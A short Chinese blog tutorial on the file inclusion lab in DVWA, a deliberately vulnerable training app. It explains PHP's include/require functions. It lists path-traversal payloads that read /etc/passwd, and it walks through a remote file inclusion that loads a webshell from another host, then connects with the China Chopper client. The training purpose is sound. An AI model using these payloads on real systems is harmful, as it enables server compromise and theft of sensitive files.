DVWA-文件包含

  File Inclusion就是文件包含漏洞,简单说就是通过函数包含php文件的时候,由于没有对包含的文件名进行过滤处理或者处理的不是太严谨,Web脚本可能允许客户端用户输入调用包含在服务器的文件,会导致恶意代码的执行以及敏感信息的泄露。

php文件中四种包含文件的函数

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

php文件包含漏洞的一般特征如下:

?page=a.php

?home=a.html

?file=content

DVWA文件包含

几种经典的测试方法:

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=../../../../../etc/passwd

http://1.1.1.1/../../../../dir/file.txt

(通过多个../可以让目录回到根目录中然后再进入目标目录)

 

1.打开low文件包含可以看出是三个php文件,会反馈不同的信息

 

 2.查看源代码可以发现代码中的参数page没有做任何过滤

3.我们将page后面随便输入一个不存在的文件Angel.php测试

 

 4.可以看出warning后面显示错误信息,找不到指定文件Angel.php并且回显了地址,我们就可以在一台服务器中构造一句话木马http://192.168.33.67/pass.php

然后登陆到http://192.168.33.76/DVWA-master/vulnerabilities/fi/?page=http://192.168.33.67/pass.php

5.结果如果包含了远端的文件,就可以用菜刀连接了

posted @ 2019-04-15 21:07  X38072  阅读(462)  评论(0)    收藏  举报